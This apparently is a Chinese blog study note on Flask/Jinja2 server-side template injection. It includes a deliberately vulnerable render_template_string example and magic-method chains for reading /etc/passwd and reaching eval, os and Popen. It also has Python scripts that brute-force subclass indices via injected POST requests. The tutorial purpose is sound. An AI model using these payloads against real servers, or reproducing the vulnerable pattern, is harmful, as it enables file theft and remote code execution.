首页 > 其他分享 >记录ssti模板学习 (1)

记录ssti模板学习 (1)

时间:2023-12-03 21:35:52浏览次数:33  
标签:__ name 记录 Flask ssti template my 模板

记录ssti模板学习

Python3-venv(简称虚拟机编译器)

创建venv环境安装flask

创建环境python3 -m venv flask1

在flask1下使用虚拟机内的python3执行

方法一:/opt/flask/bin/python3 demo.py

方法二:source ./bin/activate

退出环境deactivate

Flask学习

Flask就是使用python编写的轻量级Web应用框架(模板引擎使用jinja2)

简单的flask

from flask import Flask

app = Flask(__name__)

@app.route(‘/’) //简称路由寻址http url☞的页面这里是根目录

def hello():

return “hello try” //根目录下的函数

if __name__ == ‘__main__’:

app.run()

app.run中的参数host=‘ip地址(0.0.0.0监听本地和ip) debug=true(开启日志,一边改一边重启) port=端口’

变量

方法

Html文件在python中必须放在templates下

Flask模板

处理业务逻辑和返回响应内容

处理逻辑如同:计算器1+1给后端处理计算

返回响应内容:计算后会返回给界面2

模板就是响应内容的呈现

Flask默认使用jinja2

视图函数只负责处理业务逻辑,模板负责响应内容

模板函数render_template加载html文件。默认在templates目录下

模板函数render_template_string用于渲染字符串,直接定义内容

Flask使用代码

from flask import Flask,render_template

app = Flask(__name__)

@app.route('/')
def index():
my_str = 'Hello world'
my_int = 12
my_array = {1,2,3,4,5}
my_dict = {
'name': 'dazhuang',
'age': 18
}
return render_template('index.html',my_str=my_str,
my_int=my_int,
my_array=my_array,
my_dict=my_dict)

if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True,port=5000)

Templates目录下放index,html文档中用{{ }}形式去解析传进来的my_int等到页面上

<p>{{my_str}}<p>
{{my_int}}
{{my_array}}
{{my_dict}}

{% set a=‘dazhuang’%}{{a}}页面就会返回dazhuang (一般用于设置值)

Render_template_string代码使用直接渲染

from flask import Flask,render_template,request,render_template_string

app = Flask(__name__)

@app.route('/',methods=['GET'])
def index():
name = request.args.get('name')
my_array = {1,2,3,4,5}
return render_template_string('<p>%s</p><br><h1>%s</h1>' % (name,my_array))

if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True,port=5000)

ssti模板注入

flask漏洞----flask代码不严谨可能造成任意文件读取和rce远程控制后台

漏洞成因:

渲染模板时,没有严格控制对用户的输入;使用了危险的模板,导致用户可以和flask交互;

Flask是基于python开发的一种轻量级服务器,意味着用户可以和flask交互的话,就可以执行python中的危险函数eval,system,file等等之类的函数。

漏洞演示:

Python代码:正常代码

from flask import Flask,render_template,request,render_template_string

app = Flask(__name__)

@app.route('/',methods=['GET'])
def index():
name = request.args.get('try')
html_str = " <html><head></head><body>{{str}}</body></html>"

return render_template_string(html_str,str=name)

if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True,port=5000)

原因是str被{{}}包括起来了,会被预先渲染转义,然后在输入,不会被渲染执行。

Python代码:错误的配置:

from flask import Flask,render_template,request,render_template_string

app = Flask(__name__)

@app.route('/',methods=['GET'])
def index():
name = request.args.get('try')
html_str = " <html><head></head><body>{0}</body></html>".format(name)

return render_template_string(html_str)

if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True,port=5000)

发现大概原因了吗?

因为第二个使用了格式化字符串{0}加format(name)。说白了就是先执行后渲染。我的理解就是render_template_string就直接转义并输出,而第二个先填充后转义,在填充时执行了python代码。

除了用{{7*7}}去测试还可以用一些python中的魔术方法({{‘’.__class__.__mro__}})去测试下一章就会聊这个。

各模板注入的测试流程,绿色指正常执行,红色指返回了没有执行,一步一步去判断是什么模板。

继承关系和魔术方法

继承关系指漏洞利用的逻辑

魔术方法指利用的指令

父类和子类

子类调用父类下的其他子类

Python flask没法直接使用python指令

__class__: 指向实例化的一个类

__base__: 指向实例化类的父类

__mro__:罗列所有的类

__subclasses__(): 查看那个类下的所有子类

__init__: 查看类是否重载,重载是指程序在运行时已经加载好的这个模板内存中,wrapper说明没有挂载。

__globals__:函数会以字典形式返回当前对象的全部全局变量 (相当于就是类中的全部方法)

__builtins__: 提供对python的所有“内置”标识符直接访问

Popen():执行一个shell以运行命令来开启 一个进程

懂了这里就可以看懂下面代码了

class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
c = C()
print(c.__class__)

c.__class__

c.__class__.__base__

c.__class__.__base__.__base__

c.__class__.__base__.__base__.__base__

c.__class__.__mro__ 罗列c继承的所有类

c.__class__.__mro__[1].__subclasses__()

常用的注入模板

文件读取

查找子类_frozen_importlib_external.FileLoader

【“get_data”】(0,“/etc/password”)

Python脚本去找子类

import requests
url = input("请输入链接")
for i in range(500):
data = {
"name": "{{().__class__.__base__.__subclasses__()["+str(i)+"]"}
try:
res = requests.post(url,data=data)
if res.status_code == 200:
if '_frozen_importlib_external.FileLoader' in res.text:
print(i)
except:
pass

可以找自己想要的子类

内置函数eval执行函数

找builtins的eval

import requests
url = input("输入url")
for i in range(500):
data = {
"name": "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']"
}
try:
res = requests.post(url,data=data)
if res.status_code == 200:
if 'eval' in res.text:
print(i)
except:
pass

payload

Os模块执行命令

在其他函数中直接调用os模块

通过config 调用

通过url_for 调用

在已经加载的模块中找os

第三方库importlib类执行命令

可以加载第三方库,使用load_module加载os

Linecache函数执行命令

Linecache原本只读一行但是内置了os模块

Subprocess.popen类执行命令(思路都是差不多)

汇总

最后就是实战加学一点绕过就可以毕业了

标签:__,name,记录,Flask,ssti,template,my,模板
From: https://www.cnblogs.com/trymonoly/p/17755951.html

相关文章

  • SpringContextUtil工具类记录
    1.SpringContextUtil工具类记录,可在无法注入Bean的时候选择使用,比如在枚举类中实际上是无法使用被IOC管理的Bean的,除非是通过方法传入,现在提供一个工具类解决这个问题(做记录)。@ComponentpublicclassSpringContextUtilimplementsApplicationContextAware{privatestat......
  • 【生活技巧记录】歌词Lyric生成及音乐标签嵌入
    前置工具准备:BesLyric:一款专门制作网易云音乐LRC滚动歌词的软件!搜索、下载、制作歌词更方便!Foobar2000:一款适用于Windows平台的高级免费软件音频播放器百度:DDDDFoobar2000美化版:用于将歌词保存于音乐标签,内嵌式歌词使音乐更方便操作步骤一......
  • Top Tree 模板(咕)
    Sone1调不动了,所以是lgP3690。写着写着就不知道自己写的是AAAT还是SATT了,反正能用。#include<iostream>#include<vector>#include<cassert>#defineUP(i,s,e)for(autoi=s;i<e;++i)usingstd::cin;usingstd::cout;constexprintN=1e5,M=3e5;namespac......
  • 无涯教程-Erlang - Records(记录)
    Erlang具有创建records记录函数,这些records记录由字段组成,例如,您可以定义一个personal records,其中包含2个字段,一个是id,另一个是name字段。然后,您可以在Erlang中创建此records记录的各种实例,以定义具有不同名称和ID的多个personal。创建记录使用record标识符创建,在此record......
  • 【Taro工作记录三】按钮实现一键复制文字操作
    目录前言导语代码部分总结前言我是歌谣我有个兄弟巅峰的时候排名c站总榜19叫前端小歌谣曾经我花了三年的时间创作了他现在我要用五年的时间超越他今天又是接近兄弟的一天人生难免坎坷大不了从头再来歌谣的意志是永恒的放弃很容易但是坚持一定很酷导语今天有一个新的小需......
  • 【React工作记录九】switch对按钮进行判断操作
    目录前言 导语代码部分总结前言我是歌谣我有个兄弟巅峰的时候排名c站总榜19叫前端小歌谣曾经我花了三年的时间创作了他现在我要用五年的时间超越他今天又是接近兄弟的一天人生难免坎坷大不了从头再来歌谣的意志是永恒的放弃很容易但是坚持一定很酷 导语今天同事找到我......
  • 记录:k6性能脚本连接Redis取值
    为了捡起以前学过的一个性能框架k6,拿现在公司的项目来上手,打算业务测试之余拿系统的接口跑跑性能。本周的问题主要集中在k6脚本中引入redis的问题。因为项目系统的登录页面是涉及到验证码图片的,后端写了逻辑会把验证码的值写入在redis,所以登录的时候绕不开这个。再加上对......
  • 在OI类竞赛中经常使用的C++STL模板类
    vector变长数组vector的初始化vector<int>a;//定义一个空的vector,且元素类型为intvector<int>a(n);//定义一个长度为n,元素类型为int的vector,且每个元素都是0vector<int>a(n,x);//定义一个长度为n,元素类型为int,且每个元素都是x的vectorvector<int>b(a);//定义一......
  • “QtRunWork”任务返回了 false,但未记录错误"
    编译一个复制过来的QT工程的时候出现了"errorMSB4181:“QtRunWork”任务返回了false,但未记录错误"。查看工程下的“.log”文件发现在“errorMSB4181:“QtRunWork”任务返回了false,但未记录错误。”的log上面还有一条log是RCC:Errorin'D:\xxxx':Cannotfindfile'xxx......
  • 二分图最大匹配模板(匈牙利算法)
    二分图最大匹配模板(匈牙利算法)P3386【模板】二分图最大匹配-洛谷|计算机科学教育新生态(luogu.com.cn)structaugment_path{ vector<vector<int>>g; vector<int>pa;//匹配 vector<int>pb; vector<int>vis;//访问 intn,m;//两个点集中的顶......